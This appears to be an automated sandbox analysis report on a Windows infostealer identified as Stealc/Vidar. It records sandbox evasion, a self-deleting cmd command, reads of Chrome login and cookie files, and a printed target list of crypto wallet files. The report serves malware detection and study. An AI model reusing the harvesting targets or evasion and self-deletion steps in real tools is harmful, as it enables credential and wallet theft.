          Source: C:\Users\user\Desktop\un78exGoa4.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Windows\SysWOW64\msvcr100.dll
          Source: un78exGoa4.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
          Source: un78exGoa4.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
          Source: un78exGoa4.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
          Source: un78exGoa4.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
          Source: un78exGoa4.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
          Source: un78exGoa4.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
          Source: un78exGoa4.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
          Source: Binary string: ,;C:\rucakos\39\xitifeco60\ridetijiyekav8.pdb source: un78exGoa4.exe
          Source: Binary string: C:\rucakos\39\xitifeco60\ridetijiyekav8.pdb source: un78exGoa4.exe

          Data Obfuscation

          barindex
          Detected unpacking (overwrites its own PE header)
          Source: C:\Users\user\Desktop\un78exGoa4.exeUnpacked PE file: 0.2.un78exGoa4.exe.400000.0.unpack
          Detected unpacking (changes PE section rights)
          Source: C:\Users\user\Desktop\un78exGoa4.exeUnpacked PE file: 0.2.un78exGoa4.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040F49D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,
          Source: initial sampleStatic PE information: section name: .text entropy: 7.580309216292186

          Hooking and other Techniques for Hiding and Protection

          barindex
          Self deletion via cmd or bat file
          Source: C:\Users\user\Desktop\un78exGoa4.exeProcess created: "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\un78exGoa4.exe" & del "C:\ProgramData\*.dll"" & exit
          Source: C:\Users\user\Desktop\un78exGoa4.exeProcess created: "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\un78exGoa4.exe" & del "C:\ProgramData\*.dll"" & exit
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040F49D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,
          Source: C:\Users\user\Desktop\un78exGoa4.exeProcess information set: NOOPENFILEERRORBOX

          Malware Analysis System Evasion

          barindex
          Found evasive API chain (may stop execution after checking locale)
          Source: C:\Users\user\Desktop\un78exGoa4.exeEvasive API call chain: GetUserDefaultLangID, ExitProcess
          Source: C:\Windows\SysWOW64\timeout.exe TID: 4444Thread sleep count: 31 > 30
          Source: C:\Users\user\Desktop\un78exGoa4.exeEvasive API call chain: GetSystemTime,DecisionNodes
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040E91A GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 0040E9FAh
          Source: C:\Users\user\Desktop\un78exGoa4.exeRegistry key enumerated: More than 151 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
          Source: C:\Users\user\Desktop\un78exGoa4.exeProcess information queried: ProcessInformation
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_00409C83 GetProcessHeap,RtlAllocateHeap,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentProcess,IsWow64Process,GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,GetUserDefaultLocaleName,LocalAlloc,CharToOemW,GetSystemPowerStatus,DwmGetDxRgn,GetCurrentProcessId,OpenProcess,K32GetModuleFileNameExA,CloseHandle,GetProcessHeap,RtlAllocateHeap,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,wsprintfA,GetProcessHeap,RtlAllocateHeap,GlobalMemoryStatusEx,wsprintfA,GetProcessHeap,RtlAllocateHeap,wsprintfA,lstrlen,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040117A FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040B202 strtok_s,wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040B62A wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040BF33 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_00406BD7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_004086F1 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040827F FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040BBCE GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_00407FA8 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,
          Source: C:\Users\user\Desktop\un78exGoa4.exeAPI call chain: ExitProcess graph end node
          Source: C:\Users\user\Desktop\un78exGoa4.exeAPI call chain: ExitProcess graph end node
          Source: C:\Users\user\Desktop\un78exGoa4.exeAPI call chain: ExitProcess graph end node
          Source: C:\Users\user\Desktop\un78exGoa4.exeAPI call chain: ExitProcess graph end node
          Source: C:\Users\user\Desktop\un78exGoa4.exeAPI call chain: ExitProcess graph end node
          Source: C:\Users\user\Desktop\un78exGoa4.exeAPI call chain: ExitProcess graph end node
          Source: C:\Users\user\Desktop\un78exGoa4.exeAPI call chain: ExitProcess graph end node
          Source: C:\Users\user\Desktop\un78exGoa4.exeAPI call chain: ExitProcess graph end node
          Source: C:\Users\user\Desktop\un78exGoa4.exeAPI call chain: ExitProcess graph end node
          Source: C:\Users\user\Desktop\un78exGoa4.exeAPI call chain: ExitProcess graph end node
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\
          Source: un78exGoa4.exe, 00000000.00000002.421176016.0000000000734000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWy
          Source: un78exGoa4.exe, 00000000.00000002.421176016.000000000070A000.00000004.00000020.00020000.00000000.sdmp, un78exGoa4.exe, 00000000.00000002.421176016.0000000000734000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
          Source: un78exGoa4.exe, 00000000.00000002.421100115.00000000006B5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMwareVMware
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040F49D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040C550 GetProcessHeap,RtlAllocateHeap,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,lstrcat,lstrcat,lstrlen,lstrlen,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040F49D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\un78exGoa4.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\un78exGoa4.exe" & del "C:\ProgramData\*.dll"" & exit
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
          Source: C:\Users\user\Desktop\un78exGoa4.exeQueries volume information: C:\ VolumeInformation
          Source: C:\Users\user\Desktop\un78exGoa4.exeQueries volume information: C:\ VolumeInformation
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,
          Source: C:\Users\user\Desktop\un78exGoa4.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
          Source: C:\Users\user\Desktop\un78exGoa4.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_00409C83 GetProcessHeap,RtlAllocateHeap,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentProcess,IsWow64Process,GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,GetUserDefaultLocaleName,LocalAlloc,CharToOemW,GetSystemPowerStatus,DwmGetDxRgn,GetCurrentProcessId,OpenProcess,K32GetModuleFileNameExA,CloseHandle,GetProcessHeap,RtlAllocateHeap,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,wsprintfA,GetProcessHeap,RtlAllocateHeap,GlobalMemoryStatusEx,wsprintfA,GetProcessHeap,RtlAllocateHeap,wsprintfA,lstrlen,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_00409C83 GetProcessHeap,RtlAllocateHeap,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentProcess,IsWow64Process,GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,GetUserDefaultLocaleName,LocalAlloc,CharToOemW,GetSystemPowerStatus,DwmGetDxRgn,GetCurrentProcessId,OpenProcess,K32GetModuleFileNameExA,CloseHandle,GetProcessHeap,RtlAllocateHeap,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,wsprintfA,GetProcessHeap,RtlAllocateHeap,GlobalMemoryStatusEx,wsprintfA,GetProcessHeap,RtlAllocateHeap,wsprintfA,lstrlen,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040E8AD strcat,GetProcessHeap,RtlAllocateHeap,GetUserNameA,

          Stealing of Sensitive Information

          barindex
          Yara detected Stealc
          Source: Yara matchFile source: 00000000.00000002.421100115.00000000006B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: un78exGoa4.exe PID: 7132, type: MEMORYSTR
          Yara detected Vidar stealer
          Source: Yara matchFile source: Process Memory Space: un78exGoa4.exe PID: 7132, type: MEMORYSTR
          Tries to steal Crypto Currency Wallets
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Roaming\MultiDoge\
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
          Found many strings related to Crypto-Wallets (likely being stolen)
          Source: un78exGoa4.exe, 00000000.00000002.417733641.00000000005B6000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: nt\Wallets\|*.json|0|Ethereum|\Ethereum\|keystore|0|Electrum|\Electrum\wallets\|*.*|0|ElectrumLTC|\Electrum-LTC\wallets\|*.*|0|Exodus|\Exodus\|exodus.conf.json|0|Exodus|\Exodus\|window-state.json|0|Exodus|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|\Exodus\exodus.wallet\|seed.seco|0|Exodus|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|\ElectronCash\wallets\|*.*|0|MultiDoge|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|\atomic\Local Storage\leveldb\|*.*|0|Binance|\Binance\|app-store.json|0|Binance|\Binance\|simple-storage.json|0|Binance|\Binance\|.finger-print.fp|0|Coinomi|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|\Coinomi\Coinomi\wallets\|*.config|1|
          Source: un78exGoa4.exe, 00000000.00000002.417733641.0000000000424000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: \ElectronCash\wallets\
          Source: un78exGoa4.exe, 00000000.00000002.417733641.00000000005B6000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: nt\Wallets\|*.json|0|Ethereum|\Ethereum\|keystore|0|Electrum|\Electrum\wallets\|*.*|0|ElectrumLTC|\Electrum-LTC\wallets\|*.*|0|Exodus|\Exodus\|exodus.conf.json|0|Exodus|\Exodus\|window-state.json|0|Exodus|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|\Exodus\exodus.wallet\|seed.seco|0|Exodus|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|\ElectronCash\wallets\|*.*|0|MultiDoge|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|\atomic\Local Storage\leveldb\|*.*|0|Binance|\Binance\|app-store.json|0|Binance|\Binance\|simple-storage.json|0|Binance|\Binance\|.finger-print.fp|0|Coinomi|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|\Coinomi\Coinomi\wallets\|*.config|1|
          Source: un78exGoa4.exeString found in binary or memory: window-state.json
          Source: un78exGoa4.exe, 00000000.00000002.417733641.00000000004E5000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: Jaxx Liberty
          Source: un78exGoa4.exe, 00000000.00000002.417733641.00000000005B6000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: nt\Wallets\|*.json|0|Ethereum|\Ethereum\|keystore|0|Electrum|\Electrum\wallets\|*.*|0|ElectrumLTC|\Electrum-LTC\wallets\|*.*|0|Exodus|\Exodus\|exodus.conf.json|0|Exodus|\Exodus\|window-state.json|0|Exodus|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|\Exodus\exodus.wallet\|seed.seco|0|Exodus|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|\ElectronCash\wallets\|*.*|0|MultiDoge|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|\atomic\Local Storage\leveldb\|*.*|0|Binance|\Binance\|app-store.json|0|Binance|\Binance\|simple-storage.json|0|Binance|\Binance\|.finger-print.fp|0|Coinomi|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|\Coinomi\Coinomi\wallets\|*.config|1|
          Source: un78exGoa4.exeString found in binary or memory: \Exodus\exodus.wallet\
          Source: un78exGoa4.exe, 00000000.00000002.417733641.000000000041D000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: info.seco
          Source: un78exGoa4.exe, 00000000.00000002.417733641.00000000005B6000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: nt\Wallets\|*.json|0|Ethereum|\Ethereum\|keystore|0|Electrum|\Electrum\wallets\|*.*|0|ElectrumLTC|\Electrum-LTC\wallets\|*.*|0|Exodus|\Exodus\|exodus.conf.json|0|Exodus|\Exodus\|window-state.json|0|Exodus|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|\Exodus\exodus.wallet\|seed.seco|0|Exodus|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|\ElectronCash\wallets\|*.*|0|MultiDoge|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|\atomic\Local Storage\leveldb\|*.*|0|Binance|\Binance\|app-store.json|0|Binance|\Binance\|simple-storage.json|0|Binance|\Binance\|.finger-print.fp|0|Coinomi|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|\Coinomi\Coinomi\wallets\|*.config|1|
          Source: un78exGoa4.exeString found in binary or memory: passphrase.json
          Source: un78exGoa4.exe, 00000000.00000002.417733641.0000000000429000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: \jaxx\Local Storage\
          Source: un78exGoa4.exe, 00000000.00000002.417733641.00000000005B6000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: nt\Wallets\|*.json|0|Ethereum|\Ethereum\|keystore|0|Electrum|\Electrum\wallets\|*.*|0|ElectrumLTC|\Electrum-LTC\wallets\|*.*|0|Exodus|\Exodus\|exodus.conf.json|0|Exodus|\Exodus\|window-state.json|0|Exodus|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|\Exodus\exodus.wallet\|seed.seco|0|Exodus|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|\ElectronCash\wallets\|*.*|0|MultiDoge|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|\atomic\Local Storage\leveldb\|*.*|0|Binance|\Binance\|app-store.json|0|Binance|\Binance\|simple-storage.json|0|Binance|\Binance\|.finger-print.fp|0|Coinomi|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|\Coinomi\Coinomi\wallets\|*.config|1|
          Source: un78exGoa4.exeString found in binary or memory: Exodus
          Source: un78exGoa4.exe, 00000000.00000002.417733641.0000000000429000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: file__0.localstorage
          Source: un78exGoa4.exe, 00000000.00000002.417733641.00000000005B6000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: nt\Wallets\|*.json|0|Ethereum|\Ethereum\|keystore|0|Electrum|\Electrum\wallets\|*.*|0|ElectrumLTC|\Electrum-LTC\wallets\|*.*|0|Exodus|\Exodus\|exodus.conf.json|0|Exodus|\Exodus\|window-state.json|0|Exodus|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|\Exodus\exodus.wallet\|seed.seco|0|Exodus|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|\ElectronCash\wallets\|*.*|0|MultiDoge|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|\atomic\Local Storage\leveldb\|*.*|0|Binance|\Binance\|app-store.json|0|Binance|\Binance\|simple-storage.json|0|Binance|\Binance\|.finger-print.fp|0|Coinomi|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|\Coinomi\Coinomi\wallets\|*.config|1|
          Source: un78exGoa4.exeString found in binary or memory: \Exodus\exodus.wallet\
          Source: un78exGoa4.exe, 00000000.00000002.417733641.0000000000429000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: MultiDoge
          Source: un78exGoa4.exe, 00000000.00000002.417733641.000000000041D000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: seed.seco
          Source: un78exGoa4.exe, 00000000.00000002.417733641.00000000005B6000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: nt\Wallets\|*.json|0|Ethereum|\Ethereum\|keystore|0|Electrum|\Electrum\wallets\|*.*|0|ElectrumLTC|\Electrum-LTC\wallets\|*.*|0|Exodus|\Exodus\|exodus.conf.json|0|Exodus|\Exodus\|window-state.json|0|Exodus|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|\Exodus\exodus.wallet\|seed.seco|0|Exodus|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|\ElectronCash\wallets\|*.*|0|MultiDoge|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|\atomic\Local Storage\leveldb\|*.*|0|Binance|\Binance\|app-store.json|0|Binance|\Binance\|simple-storage.json|0|Binance|\Binance\|.finger-print.fp|0|Coinomi|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|\Coinomi\Coinomi\wallets\|*.config|1|
          Source: un78exGoa4.exe, 00000000.00000002.417733641.00000000005B6000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: nt\Wallets\|*.json|0|Ethereum|\Ethereum\|keystore|0|Electrum|\Electrum\wallets\|*.*|0|ElectrumLTC|\Electrum-LTC\wallets\|*.*|0|Exodus|\Exodus\|exodus.conf.json|0|Exodus|\Exodus\|window-state.json|0|Exodus|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|\Exodus\exodus.wallet\|seed.seco|0|Exodus|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|\ElectronCash\wallets\|*.*|0|MultiDoge|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|\atomic\Local Storage\leveldb\|*.*|0|Binance|\Binance\|app-store.json|0|Binance|\Binance\|simple-storage.json|0|Binance|\Binance\|.finger-print.fp|0|Coinomi|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|\Coinomi\Coinomi\wallets\|*.config|1|
          Tries to harvest and steal browser information (history, passwords, etc)
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
          Source: Yara matchFile source: 0.2.un78exGoa4.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000000.00000002.421176016.0000000000734000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: un78exGoa4.exe PID: 7132, type: MEMORYSTR

          Remote Access Functionality

          barindex
          Yara detected Stealc
          Source: Yara matchFile source: 00000000.00000002.421100115.00000000006B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: un78exGoa4.exe PID: 7132, type: MEMORYSTR
          Yara detected Vidar stealer
          Source: Yara matchFile source: Process Memory Space: un78exGoa4.exe PID: 7132, type: MEMORYSTR

          Mitre Att&ck Matrix

          Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
          Valid Accounts12
          Native API          		Path Interception11
          Process Injection          		11
          Virtualization/Sandbox Evasion          		1
          OS Credential Dumping          		2
          System Time Discovery          		Remote Services1
          Input Capture          		Exfiltration Over Other Network Medium1
          Encrypted Channel          		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
          Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts11
          Process Injection          		1
          Input Capture          		11
          Security Software Discovery          		Remote Desktop Protocol3
          Data from Local System          		Exfiltration Over Bluetooth12
          Ingress Tool Transfer          		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
          Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)1
          Deobfuscate/Decode Files or Information          		Security Account Manager11
          Virtualization/Sandbox Evasion          		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration3
          Non-Application Layer Protocol          		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
          Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)2
          Obfuscated Files or Information          		NTDS12
          Process Discovery          		Distributed Component Object ModelInput CaptureScheduled Transfer13
          Application Layer Protocol          		SIM Card SwapCarrier Billing Fraud
          Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script22
          Software Packing          		LSA Secrets1
          Account Discovery          		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
          Replication Through Removable MediaLaunchdRc.commonRc.common1
          File Deletion          		Cached Domain Credentials1
